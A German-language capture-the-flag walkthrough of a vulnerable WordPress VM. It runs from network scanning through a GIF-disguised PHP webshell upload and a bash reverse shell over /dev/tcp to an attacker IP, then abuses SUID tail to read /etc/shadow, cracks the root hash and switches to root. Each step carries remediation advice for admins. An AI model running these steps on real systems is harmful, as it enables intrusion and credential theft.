Die Untersuchung beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.
192.168.2.105 08:00:27:20:a9:bc PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird genutzt, um mittels ARP-Anfragen aktive Hosts im lokalen Netzwerksegment aufzufinden.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.105` erfolgreich entdeckt. Die MAC-Adresse (`08:00:27:20:a9:bc`) und der Hersteller (`PCS Systemtechnik GmbH`) lassen auf eine Oracle VirtualBox VM schließen.
Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.105` für die weiteren Schritte. Zur Vereinfachung kann ein Hostname in `/etc/hosts` definiert werden.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring können helfen, solche Scans zu erkennen, auch wenn sie schwer zu verhindern sind.
Wir tragen einen Hostnamen in die lokale Hosts-Datei ein.
192.168.2.105 hackinos.vln
Analyse: Die lokale Datei `/etc/hosts` wird bearbeitet (mit `vi`) und anschließend angezeigt (`cat`), um den Hostnamen `hackinos.vln` der IP `192.168.2.105` zuzuordnen.
Bewertung: Eine lokale Konfigurationsanpassung zur einfacheren Ansprache des Ziels.
Empfehlung (Pentester): Verwenden Sie den Hostnamen `hackinos.vln` für die folgenden Befehle.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 23:33 CEST
Nmap scan report for vulnvm (192.168.2.105)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
| 256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_ 256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Blog – Just another WordPress site
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 2 disallowed entries
|_/upload.php /uploads
|_http-generator: WordPress 5.0.3
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.11 ms vulnvm (192.168.2.105)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Skripten (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressiven Optionen (`-A`) und ohne Ping (`-Pn`).
Bewertung: Der Scan findet zwei offene Ports:
Empfehlung (Pentester): Konzentrieren Sie sich auf die WordPress-Instanz auf Port 8000. Untersuchen Sie `/upload.php` und `/uploads` trotz des Disallow-Eintrags. Recherchieren Sie bekannte Schwachstellen für WordPress 5.0.3 und Apache 2.4.25. Prüfen Sie SSH auf bekannte Schwachstellen oder bereiten Sie Bruteforce vor.
Empfehlung (Admin):** Aktualisieren Sie WordPress, Apache und OpenSSH dringend auf aktuelle Versionen. Verwenden Sie Standardports, wenn möglich, oder dokumentieren Sie Abweichungen. Überprüfen Sie die Sicherheit der Upload-Funktionalität.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
Analyse: Filtert die Nmap-Ausgabe, um nur offene Ports anzuzeigen.
Bewertung: Bestätigt die beiden offenen Ports 22 (SSH) und 8000 (HTTP).
Empfehlung (Pentester): Klare Angriffsvektoren.
Empfehlung (Admin): Notwendigkeit prüfen.
Wir konzentrieren uns auf die WordPress-Instanz auf Port 8000.
Ein Gobuster-Scan wird gegen den Webserver auf Port 8000 durchgeführt.
http://192.168.2.105:8000/index.php (Status: 301) [Size: 0] [--> http://192.168.2.105:8000/]
http://192.168.2.105:8000/uploads (Status: 301) [Size: 323] [--> http://192.168.2.105:8000/uploads/]
http://192.168.2.105:8000/wp-content (Status: 301) [Size: 326] [--> http://192.168.2.105:8000/wp-content/]
http://192.168.2.105:8000/upload.php (Status: 200) [Size: 418]
http://192.168.2.105:8000/wp-login.php (Status: 200) [Size: 3179]
http://192.168.2.105:8000/license.txt (Status: 200) [Size: 19935]
http://192.168.2.105:8000/wp-includes (Status: 301) [Size: 327] [--> http://192.168.2.105:8000/wp-includes/]
http://192.168.2.105:8000/readme.html (Status: 200) [Size: 7415]
http://192.168.2.105:8000/robots.txt (Status: 200) [Size: 52]
http://192.168.2.105:8000/wp-trackback.php (Status: 200) [Size: 135]
http://192.168.2.105:8000/wp-admin (Status: 301) [Size: 324] [--> http://192.168.2.105:8000/wp-admin/]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot auf Port 8000.
Bewertung: Findet Standard-WordPress-Pfade (`wp-content`, `wp-login.php`, `wp-admin`, etc.). Bestätigt die Existenz von `/uploads` und `/upload.php`, die auch in `robots.txt` standen.
Empfehlung (Pentester): Untersuchen Sie die Funktionalität von `/upload.php`. Prüfen Sie das `/uploads`-Verzeichnis (auch wenn der direkte Zugriff verboten ist, könnten hochgeladene Dateien über andere Wege erreichbar sein). Führen Sie `wpscan` aus.
Empfehlung (Admin): Sichern Sie die Upload-Funktion und das Upload-Verzeichnis.
Analyse des Inhalts von `robots.txt`:
User-agent:*
Disallow:/upload.php
Disallow:/uploads
Analyse: Die `robots.txt` weist Suchmaschinen an, `/upload.php` und `/uploads` zu ignorieren.
Bewertung: Bestätigt, dass diese Pfade existieren und potenziell relevant sind.
Empfehlung (Pentester): Ignorieren Sie die `Disallow`-Anweisung und untersuchen Sie diese Pfade trotzdem.
Empfehlung (Admin): `robots.txt` bietet keine Sicherheit.
Untersuchung von `/uploads/`:
Forbidden
You don't have permission to access /uploads/ on this server.
Apache/2.4.25 (Debian) Server at 192.168.2.105 Port 8000
Analyse: Versuch, direkt auf das `/uploads`-Verzeichnis zuzugreifen.
Bewertung: Der Zugriff wird verweigert (403 Forbidden). Directory Listing ist deaktiviert.
Empfehlung (Pentester): Wir können den Inhalt nicht direkt auflisten, aber hochgeladene Dateien könnten dennoch über ihren direkten Pfad erreichbar sein, falls dieser bekannt ist. Fokus auf `/upload.php`.
Empfehlung (Admin): Korrekte Konfiguration (Directory Listing deaktiviert).
Untersuchung von `/upload.php`:
Select image : [Browse...] [Submit]
Analyse: Die Seite `/upload.php` zeigt ein einfaches Formular zum Hochladen von Dateien, scheinbar nur für Bilder gedacht.
Bewertung: Dies ist ein kritischer Angriffsvektor. Wenn die Validierung der hochgeladenen Datei unzureichend ist, könnten wir eine Webshell (z.B. PHP-Reverse-Shell) hochladen.
Empfehlung (Pentester): Testen Sie den Datei-Upload:
Wir führen einen `wpscan` durch, um spezifische WordPress-Schwachstellen und Benutzer zu finden.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://hackinos.vln:8000/ [192.168.2.105]
[+] Started: Wed Oct 4 23:37:05 2023
[!] The version number could not be identified.
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Username(s) (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==============================================================================> (10 / 10) 100.00%
[i] User(s) Identified:
[+] handsome_container
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Finished: Wed Oct 4 23:38:07 2023
[+] Requests Done: 52
[+] Cached Requests: 5
[+] Data Sent: 12.353 KB
[+] Data Received: 101.238 KB
[+] Memory used: 209.496 MB
[+] Elapsed time: 00:00:02
Analyse: `wpscan` wird gegen die WordPress-Instanz ausgeführt. Die Optionen `-e u,p` (enumerate users, plugins) werden verwendet.
Bewertung: WPScan kann die genaue WordPress-Version nicht ermitteln (was ungewöhnlich ist, da Nmap 5.0.3 meldete). Es findet keine Plugins, aber identifiziert erfolgreich den Benutzernamen `handsome_container` durch Brute-Forcing von Autoren-IDs und Überprüfung von Login-Fehlermeldungen.
Empfehlung (Pentester): Fügen Sie `handsome_container` zur Liste potenzieller Benutzernamen für SSH- oder WordPress-Login-Bruteforce hinzu.
Empfehlung (Admin):** Verhindern Sie Benutzerenumeration, z.B. durch Deaktivieren von Autoren-Archiven oder REST-API-Endpunkten, die Benutzernamen preisgeben.
Analyse des Quellcodes von `/upload.php`:
Analyse: Im Quellcode von `/upload.php` findet sich ein Kommentar mit einem GitHub-Link.
Bewertung: Dies ist ein OSINT-Hinweis. Der Link führt wahrscheinlich zum Repository des Erstellers der VM oder zu einem ähnlichen Projekt, das Hinweise auf die Lösung oder Schwachstellen enthalten könnte.
Empfehlung (Pentester): Besuchen Sie den GitHub-Link und untersuchen Sie das Repository auf Hinweise, Codebeispiele oder Erklärungen zur Upload-Funktion oder anderen Schwachstellen.
Empfehlung (Admin):** Entfernen Sie solche Hinweise aus dem Code.
Wir nutzen die unsichere Dateiupload-Funktion (`/upload.php`), um eine PHP-Webshell hochzuladen und auszuführen.
Schritt 1: Erstellung einer einfachen PHP-Webshell
Wir erstellen eine minimale PHP-Datei, die eine Webshell implementiert, indem sie Systembefehle über einen GET-Parameter (`cmd`) ausführt. Um eine einfache Bildvalidierung zu umgehen, fügen wir einen "Magic Byte"-Header für GIF-Dateien (`GIF89a;`) am Anfang hinzu.
Analyse: Der Befehl erstellt eine Datei namens `cmd.php`. Sie enthält den GIF-Header gefolgt von PHP-Code, der die `system()`-Funktion aufruft, um den Wert des `cmd`-Parameters auszuführen.
Bewertung: Eine einfache Webshell wurde erstellt. Der GIF-Header ist ein Versuch, Filter zu umgehen, die den Dateityp anhand der ersten Bytes prüfen.
Empfehlung (Pentester): Laden Sie diese `cmd.php`-Datei über das Formular auf `/upload.php` hoch.
Empfehlung (Admin):** Dateiuploads müssen serverseitig gründlich validiert werden (Endung, MIME-Typ, Inhalt). Magic-Byte-Prüfung allein ist unzureichend.
Schritt 2: Analyse der Namensgebung für Uploads
Wir vermuten, dass die hochgeladene Datei umbenannt wird. Wir erstellen ein PHP-Skript (`test.php`), um potenzielle Dateinamen zu generieren, die auf einem MD5-Hash des Originalnamens plus einer laufenden Nummer basieren.
// Added tag
b85df5ea61e812a661648100739e7a90
4280fe3288a00c98e2c15ed58467d568
6509386dfde5819febc9cb38da257413
77075289e439dadf02acb9a9c4946836
404e31d775abc6f3524a83ce9c7af6a0
a86f19a91c22978329bd3ab4ffaa2aa6
4dfaa1996f42063e7c4ca171237c4a1d
2cf3c83f823966c13b504bd772f19f5a
801a089f7cc90bf53c160dae26080908
7f9f127910a2df1546578606b1c417fb
e473d50e4db3b12b8214e61f06f54b53
180134430544955d54b576c726c76217
...
Analyse: Das Skript `test.php` generiert MD5-Hashes für die Strings "cmd.php1", "cmd.php2", ..., "cmd.php100". Die Ausgabe ist eine Liste dieser Hashes.
Bewertung: Dies ist eine clevere Methode, um das Namensschema der Upload-Funktion zu erraten oder zu bruteforcen. Es wird angenommen, dass die hochgeladene Datei `cmd.php` in `[MD5-Hash].php` umbenannt wird.
Empfehlung (Pentester): Speichern Sie diese Hash-Liste in einer Datei (`test.txt`). Laden Sie `cmd.php` hoch und verwenden Sie dann ein Tool wie `wfuzz`, um mit der Hash-Liste den korrekten Dateinamen im `/uploads/`-Verzeichnis zu finden.
Empfehlung (Admin):** Verwenden Sie zufällige, nicht erratbare Dateinamen für Uploads und speichern Sie den Originalnamen und den neuen Namen sicher in einer Datenbank. Verhindern Sie die direkte Ausführung von Uploads.
Schritt 3: Hochladen der Webshell
Wir verwenden Burp Suite (oder einen ähnlichen Proxy/manuellen Request), um die `cmd.php`-Datei über das Formular auf `/upload.php` hochzuladen.
POST /upload.php HTTP/1.1
Host: 192.168.2.105:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------411361015255934215823675333
Content-Length: 373
Origin: http://192.168.2.105:8000
Connection: close
Referer: http://192.168.2.105:8000/upload.php
Upgrade-Insecure-Requests: 1
X-Forwarded-For: localhost
-----------------------------411361015255934215823675333
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: application/x-php
GIF89a;
-----------------------------411361015255934215823675333
Content-Disposition: form-data; name="submit"
Submit
-----------------------------411361015255934215823675333--
HTTP/1.1 200 OK
Date: Wed, 04 Oct 2023 22:54:56 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.15
Vary: Accept-Encoding
Content-Length: 442
Connection: close
Content-Type: text/html; charset=UTF-8
File uploaded /uploads/?
Analyse: Ein POST-Request wird an `/upload.php` gesendet, der die `cmd.php`-Datei als `multipart/form-data` enthält. Die Server-Antwort bestätigt den erfolgreichen Upload (`File uploaded /uploads/?`), gibt aber den neuen Dateinamen nicht preis.
Bewertung: Der Upload war erfolgreich. Die Anwendung scheint anfällig für das Hochladen von PHP-Dateien zu sein, wahrscheinlich aufgrund unzureichender Validierung. Der GIF-Header war möglicherweise notwendig, um eine einfache Inhaltsprüfung zu umgehen.
Empfehlung (Pentester): Verwenden Sie `wfuzz` mit der zuvor generierten Hash-Liste, um den korrekten Dateinamen im `/uploads/`-Verzeichnis zu finden.
Empfehlung (Admin):** **Dringend:** Die Upload-Validierung korrigieren!
Schritt 4: Finden des hochgeladenen Dateinamens
Wir verwenden `wfuzz` mit der Liste der generierten MD5-Hashes (`test.txt`), um den korrekten Pfad zur hochgeladenen Datei zu bruteforcen.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.105:8000/uploads/FUZZ.php
Total requests: 100 (101)
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 2 L 15 W 164 Ch "6d99ad9cc6a3608f6a962ce42abaa5ba"
=====================================================================
Total time: 0.062763
Processed Requests: 101
Filtered Requests: 100
Requests/sec.: 1609.210
Analyse: `wfuzz` wird verwendet, um URLs zu testen. `-w test.txt` gibt die Wortliste (unsere Hashes) an. `-u "http://.../uploads/FUZZ.php"` definiert die URL, wobei `FUZZ` durch jeden Eintrag aus der Wortliste ersetzt wird. `--hc 404` blendet 404-Fehler aus, `--hh 9` blendet Antworten mit 9 Zeichen aus (möglicherweise leere oder minimale Fehlerseiten).
Bewertung: Erfolg! `wfuzz` findet einen Hash (`6d99ad9cc6a3608f6a962ce42abaa5ba`), der einen Statuscode 200 zurückgibt. Dies ist der umbenannte Dateiname unserer hochgeladenen Webshell.
Empfehlung (Pentester): Testen Sie die Webshell, indem Sie die gefundene URL mit dem `cmd`-Parameter aufrufen (z.B. `cmd=id`).
Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Upload-Sicherheit.
Schritt 5: Testen der Webshell
Wir verwenden `curl`, um einen Befehl über die Webshell auszuführen.
GIF89a;uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: `curl` ruft die URL der Webshell auf und übergibt `id` als Wert für den `cmd`-Parameter.
Bewertung: Die Webshell funktioniert! Die Ausgabe zeigt den GIF-Header (den wir eingefügt haben) gefolgt von der Ausgabe des `id`-Befehls, der als `www-data`-Benutzer ausgeführt wurde.
Empfehlung (Pentester): Nutzen Sie die Webshell, um eine Reverse Shell zu etablieren.
Empfehlung (Admin):** Die Sicherheitslücke ist bestätigt und muss dringend behoben werden.
Schritt 6: Etablieren einer Reverse Shell
Wir starten einen Netcat-Listener und verwenden die Webshell, um eine Bash-Reverse-Shell zu initiieren.
Listening on 0.0.0.0 4444
Connection received on 192.168.2.105 47942
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@1afdd1f6b82c:/var/www/html/uploads$
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Die Webshell-URL wird mit einem URL-kodierten Bash-Reverse-Shell-Payload als `cmd`-Parameter aufgerufen (`bash -i >& /dev/tcp/192.168.2.199/4444 0>&1`).
Bewertung: Initial Access erfolgreich! Wir haben eine Reverse Shell als Benutzer `www-data` erhalten. Der Hostname `1afdd1f6b82c` deutet stark darauf hin, dass die Webanwendung in einem Docker-Container läuft.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie die lokale Enumeration innerhalb des Containers. Suchen Sie nach Wegen, aus dem Container auszubrechen oder nach Fehlkonfigurationen, die höhere Rechte ermöglichen.
Empfehlung (Admin):** Beheben Sie die Upload-Schwachstelle. Untersuchen Sie die Container-Sicherheit und die Konfiguration.
Nachdem wir eine Shell als `www-data` im vermuteten Container erhalten haben, suchen wir nach weiteren Informationen und Wegen zur Privilegienerweiterung.
Untersuchung der WordPress-Konfigurationsdatei:
wordpress'); // Korrigiert: DB_PASSWRD zu DB_PASSWORD
/** MySQL hostname */
define('DB_HOST', 'localhost'); // Standardmäßig localhost
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
// ... (Rest der Datei) ...
Analyse: Die ersten 30 Zeilen der `wp-config.php` werden angezeigt.
Bewertung: Findet die Datenbank-Zugangsdaten für WordPress: Benutzer `wordpress`, Passwort `wordpress`, Datenbank `wordpress`, Host `localhost`. Diese sind Standard-Credentials und sehr unsicher.
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Credentials am MySQL-Dienst (Port 3306 des *Hosts*, nicht unbedingt im Container) anzumelden, falls dieser von außen erreichbar ist (was Nmap nicht zeigte). Wahrscheinlicher ist, dass der MySQL-Server nur innerhalb des Containers oder über ein internes Netzwerk erreichbar ist. Versuchen Sie `mysql -u wordpress -pwordpress` innerhalb der `www-data`-Shell.
Empfehlung (Admin):** Ändern Sie sofort die Standard-Datenbank-Passwörter! Beschränken Sie den Zugriff auf die Datenbank.
Versuch, sich lokal mit MySQL zu verbinden:
Enter password: wordpress
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2 "No such file or directory")
Analyse: Versuch, sich vom Container aus mit dem MySQL-Server zu verbinden, der laut `wp-config.php` auf `localhost` laufen soll.
Bewertung: Fehlschlag. Der MySQL-Client kann den Socket `/var/run/mysqld/mysqld.sock` nicht finden. Dies bedeutet, dass der MySQL-Server entweder nicht läuft, an einem anderen Ort lauscht oder (wahrscheinlicher) gar nicht in *diesem* Container, sondern auf dem Host-System oder in einem anderen Container läuft.
Empfehlung (Pentester): Der Datenbankzugriff scheint vom `www-data`-Container aus nicht direkt möglich zu sein. Konzentrieren Sie sich auf lokale Privilegienerweiterung innerhalb des Containers oder suchen Sie nach Wegen, aus dem Container auszubrechen.
Empfehlung (Admin):** Stellen Sie sicher, dass Netzwerkverbindungen zwischen Containern und zum Host ordnungsgemäß konfiguriert und gesichert sind.
Suche nach SUID-Binaries innerhalb des Containers:
170092 40 -rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
170137 76 -rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
170190 60 -rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
170180 40 -rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
170237 68 -rwsr-xr-x 1 root root 68584 Feb 22 2017 /usr/bin/tail
170090 52 -rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
148362 44 -rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
169578 32 -rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount
169562 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
Analyse: Sucht nach SUID-gesetzten Dateien innerhalb des Containers.
Bewertung: Findet einige Standard-SUID-Binaries, aber auch `/usr/bin/tail`! Das `tail`-Kommando mit SUID-Bit ist extrem gefährlich und kann oft genutzt werden, um beliebige Dateien als Root zu lesen (siehe GTFOBins).
Empfehlung (Pentester): Nutzen Sie `tail` mit SUID, um sensible Dateien wie `/etc/shadow` oder `/root/.bash_history` zu lesen.
Empfehlung (Admin):** **Dringend:** Entfernen Sie das SUID-Bit von `tail` (`chmod u-s /usr/bin/tail`). Es gibt normalerweise keinen Grund, warum `tail` SUID-Rechte benötigt.
Wir nutzen die `tail`-Schwachstelle (GTFOBins), um `/root/.bash_history` zu lesen.
cd
cat .bash_history
cat /dev/null > .bash_history
exit
Analyse: Die GTFOBins-Technik für `tail` wird verwendet. `tail -c1G
Bewertung: Erfolgreich! Wir können die Bash-History des Root-Benutzers lesen. Sie enthält keine offensichtlichen Passwörter, zeigt aber Standardbefehle und das Löschen der History selbst.
Empfehlung (Pentester): Lesen Sie nun `/etc/shadow` mit derselben Technik, um die Passwort-Hashes der Systembenutzer zu erhalten.
Empfehlung (Admin):** SUID-Bit von `tail` entfernen.
Wir nutzen die `tail`-Schwachstelle, um `/etc/shadow` zu lesen.
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//VNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::
Analyse: Die `tail`-Technik wird verwendet, um den Inhalt der Shadow-Passwortdatei (`/etc/shadow`) zu lesen.
Bewertung: **Kritischer Fund!** Wir haben erfolgreich den Passwort-Hash für den `root`-Benutzer extrahiert: `$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//VNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/`. Der `$6$`-Präfix zeigt an, dass es sich um einen SHA512-Crypt-Hash handelt.
Empfehlung (Pentester): Versuchen Sie, diesen Hash offline mit John the Ripper oder Hashcat und einer Wortliste (z.B. `rockyou.txt`) zu knacken.
Empfehlung (Admin):** SUID-Bit von `tail` entfernen. Starke Root-Passwörter verwenden.
Wir versuchen, den extrahierten Root-Passwort-Hash offline zu knacken.
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
john (root)
1g 0:00:00:00 DONE (2023-10-05 01:09) 2.857g/s 23405p/s 23405c/s 23405C/s chachi..Chelsea
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: Der Root-Hash wird in eine Datei `hash` geschrieben. John the Ripper (`john`) wird mit der `rockyou.txt`-Wortliste verwendet, um den Hash zu knacken.
Bewertung: **Erfolg!** John the Ripper findet das Klartext-Passwort für den Root-Benutzer: `john`.
Empfehlung (Pentester): Verwenden Sie `su root` mit dem Passwort `john` in der `www-data`-Shell, um Root-Rechte zu erlangen.
Empfehlung (Admin):** Verwenden Sie niemals einfache oder leicht zu erratende Passwörter für das Root-Konto!
Dieser Abschnitt demonstriert, wie das geknackte Root-Passwort verwendet wird, um mittels `su` vollständige Root-Rechte zu erlangen.
Kurzbeschreibung: Nachdem die SUID-Schwachstelle in `tail` genutzt wurde, um den Root-Passwort-Hash aus `/etc/shadow` zu extrahieren, konnte dieser offline mit John the Ripper geknackt werden. Das gefundene Passwort (`john`) wird nun verwendet, um sich mit `su root` als Root anzumelden.
Voraussetzungen: Shell-Zugriff als `www-data`. Kenntnis des Root-Passworts (`john`).
Schritt 1: Ausführung von `su root`
Password: john
root@1afdd1f6b82c:/var/www/html#
Analyse: Der Befehl `su root` wird ausgeführt, um zum Root-Benutzer zu wechseln. Das geknackte Passwort `john` wird eingegeben.
Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Der Prompt wechselt zu `root@...`, was bestätigt, dass wir nun Root sind. Die Kombination aus der SUID-Schwachstelle und dem schwachen Root-Passwort hat zur vollständigen Kompromittierung geführt.
Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** **Dringend:** Ändern Sie das Root-Passwort zu einem starken, einzigartigen Passwort. Entfernen Sie das SUID-Bit von `tail`.
Schritt 2: Bestätigung der Root-Rechte und Flagge
uid=0(root) gid=0(root) groups=0(root)
Life consists of details..
Analyse: `id` bestätigt die Root-Rechte. Anschließend wird versucht, eine Datei namens `flag` zu lesen.
Bewertung: Root-Rechte bestätigt. Die Root-Flagge wurde gefunden.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion.
Risikobewertung:** Die Kombination aus einer unsicheren Dateiupload-Funktion, einem SUID-gesetzten `tail`-Binary und einem schwachen, knackbaren Root-Passwort stellt ein kritisches Risiko dar und ermöglichte die vollständige Übernahme des Systems.
Empfehlungen (Zusammenfassung):**